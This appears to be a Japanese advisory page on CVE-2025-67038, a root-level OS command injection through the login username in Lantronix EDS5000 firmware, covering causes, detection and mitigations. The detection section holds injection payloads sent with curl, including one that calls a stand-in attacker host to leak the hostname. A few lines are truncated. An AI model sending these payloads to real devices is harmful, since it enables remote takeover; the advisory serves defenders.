CVE-2025-67038
CVE-2025-67038
概要
CVE-2025-67038(Lantronix EDS5000 / コードインジェクション)、CVE-2026-34910(Ubiquiti UniFi OS / コマンドインジェクション)、CVE-2026-34909(Ubiquiti
脆弱性情報(NVD)
- 深刻度: 緊急(CVSS 9.8)
- CVSSベクター:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CWE: CWE-94
- EPSS: 0.89%(上位 44.9%)
影響を受けるバージョン:
- Lantronix Eds5032 Firmware: 2.1.0.0r3
- Lantronix Eds5008 Firmware: 2.1.0.0r3
- Lantronix Eds5016 Firmware: 2.1.0.0r3
概要(日本語): 脆弱性: 認証失敗時にシェルコマンドを実行するHTTP RPCモジュールにおいて、ユーザ名がサニタイズされずにコマンドに直接連結されるため、攻撃者が任意のOSコマンドを注入可能。注入されたコマンドはroot権限で実行される。
原文: An issue was discovered in Lantronix EDS5000 2.1.0.0R3. The HTTP RPC module executes a shell command to write logs when user's authantication fails. The username is directly concatenated with the command without any sanitization. This allow attackers to inject arbitrary OS commands into the username parameter. Injected commands are executed with root privileges.
攻撃成立条件
- 対象機器が Lantronix EDS5000 ファームウェア 2.1.0.0R3 であること。
- 攻撃者が当該機器の HTTP RPC モジュールにネットワーク経由でアクセス可能であること。
- ユーザー認証に失敗するリクエストを送信し、username パラメータに任意の値を指定できること。
- 指定する username の値に、セミコロンやパイプなどのシェルメタ文字を含め、サニタイズされずにコマンド文字列へ連結されること。
- ログ書き込み用のシェルコマンドが root 権限で実行され、注入されたコマンドも同様に root 権限で動作すること。
VulnCheck KEV
- 製品: Lantronix EDS5000
- CISA KEV 掲載: ✅ あり
- ランサムウェア悪用: Unknown
悪用事例
参考リンク
- www.cisa.gov
Third Party AdvisoryVDB Entry - www.cisa.gov
US Government Resource
言及日
技術詳細
脆弱性の概要
本脆弱性は、Lantronix EDS5000シリーズのファームウェア(2.1.0.0R3)が提供するHTTP RPCモジュールに存在するOSコマンドインジェクションである。認証失敗時にログを書き込むためにシェルコマンドを実行する実装において、ユーザー名パラメータが一切の無害化処理を経ずにそのままコマンド文字列へ連結される。これにより、認証リクエストのユーザー名フィールドに任意のOSコマンドを埋め込むことで、root権限で当該コマンドが実行される。
根本原因
認証失敗を記録する機能(例: システムログへの書き込み)が、外部入力(ユーザー名)をシェルに渡す危険な方法で実装されている。具体的には、system()、exec()、popen()等の関数を用いて“echo "login failed for user: $username" >> /var/log/auth.log”のような文字列を動的に生成していると推測されるが、具体的なコードは情報不足である。設計上、入力値の検証やエスケープ処理が欠落しており、コマンドインジェクションを許している。
攻撃シナリオ
- 攻撃者は、影響を受けるEDS5000シリーズの管理用Webインターフェースのログインエンドポイント(例: /cgi-bin/rpc や /xml/template 等、詳細は情報不足)に対し、偽装したログインリクエストを送信する。
- ユーザー名パラメータに、コマンド区切り文字(;、|、&、
(reboot)`。 - パスワードを任意の文字列とすることで認証は失敗し、ログ書き込み処理がトリガーされる。
- サーバー内部では、シェルが実行され、埋め込まれたコマンドがroot権限で解釈・実行される。結果として、遠隔からの任意コード実行、システム完全掌握、永続的なバックドア設置などが可能となる。
検出方法
ブラックボックステスト
- 対象製品のログイン機能に対して、以下のようなcurlコマンドでペイロードを送信する(エンドポイントは事例に基づき仮置き。実際のパスは情報不足のため、製品マニュアルやトラフィック解析で特定すること)。
または、フォーム形式の場合:curl -X POST https://<target>/cgi-bin/rpc \ -d '{"method":"login","params":{"username":"test; id > /tmp/pwned;","password":"test"}}' \ -H "Content-Type: application/json"curl -X POST https://<target>/login.cgi \ --data-urlencode 'username=admin&password=test; id > /tmp/pwned;' - 送信後、レスポンスには認証失敗を示すメッセージが返るが、バックグラウンドでシェルが実行されているかを確認する。
- アウトオブバンドでの確認:DNS/HTTPリクエストを発生させるペイロード(例:
; curl http://attacker.test/$(hostname))を用いて、外部サーバーへの着信を観測する。 - タイムベース確認:
; sleep 10を埋め込み、応答時間の明らかな延長を確認する。
- アウトオブバンドでの確認:DNS/HTTPリクエストを発生させるペイロード(例:
- コマンド実行の成功は、アウトバンド帯域外で確認する手法が確実であり、製品の応答に直接結果が表示されることは稀である。
ホワイトボックステスト
ファームウェアのファイルシステムを入手可能な場合、以下の手順で脆弱性の存在を確認する(具体的なファイルパスは情報不足のため、一般的な検索アプローチを示す)。
- rootfs内で、ログイン処理を実装するバイナリやスクリプトを特定する。例えば、認証に関連する文字列を含むファイルを検索する。
grep -r "pam_" /path/to/rootfs grep -r "authentication failed" /path/to/rootfs - システムコールやコマンド実行関数の使用箇所を探索する。
grep -rE '\b(system|popen|exec[lv]?|__system)\s*\(' /path/to/rootfs - 見つかったコード断片において、ユーザー名と思われる変数がシェルコマンド文字列に直接連結(sprintf, strcat, 文字列結合)されていないか、エスケープ処理(escapeshellarg等)が存在しないかを確認する。特に認証失敗時のログ出力処理に注目する。
対策
恒久的対策
- ベンダーが提供する本脆弱性に対する修正ファームウェアを適用する。2026年3月時点での修正バージョンは情報不足であるため、速やかにLantronix社のセキュリティアドバイザリ(GHSA-55gq-23mv-cw8r 等)を確認し、最新の修正版にアップデートする。
アップデート手順例(Web UI経由):- 管理画面へログインし、[System] > [Firmware Upgrade] に移動。
- 取得した修正ファームウェアイメージを選択し、アップグレードを実行。
または、SCP/TFTPを用いた手動アップデート(製品ドキュメントに準拠)。
- アプリケーションコードレベルで根本対策を行う場合は、シェルコマンドの直接実行を避け、ログ出力にはsafe_execや引数配列を受け取るAPI(execveなど)を使用するか、syslog()関数など安全なログ出力インタフェースに変更する。どうしてもシェルを経由する必要がある場合は、入力値に対して適切なエスケープ(例: escapeshellarg())を施した上で、厳格な許可リスト検証を行う。
暫定対策
修正パッチが適用できない期間のリスク軽減策として以下を実施する。
- 管理インターフェース(HTTP/HTTPS)へのアクセスを、信頼できる管理ネットワークや特定のIPアドレスに制限する。ファイアウォールやアクセス制御リスト(ACL)により、不要な外部からのリクエストを遮断する。
iptables -A INPUT -p tcp --dport 443 -s <管理用IP> -j ACCEPT iptables -A INPUT -p tcp --dport 443 -j DROP - リバースプロキシやWAF(Web Application Firewall)を前面に配置し、ユーザー名パラメータに含まれるシェルメタキャラクタ(; | & ` $ ( ) { } < > など)を検出・ブロックするルールを追加する。
ModSecurityの例:SecRule ARGS:username "[\;\|\&\$\`\(\)\{\}\<\>]" "id:10001,deny,log,msg:'Potential OS Command Injection in username'" - 当該RPCエンドポイントが運用上必須でない場合は、サービスまたはHTTPハンドラ自体を一時的に無効化する(無効化手段については製品ドキュメントを参照。具体的な手順は情報不足)。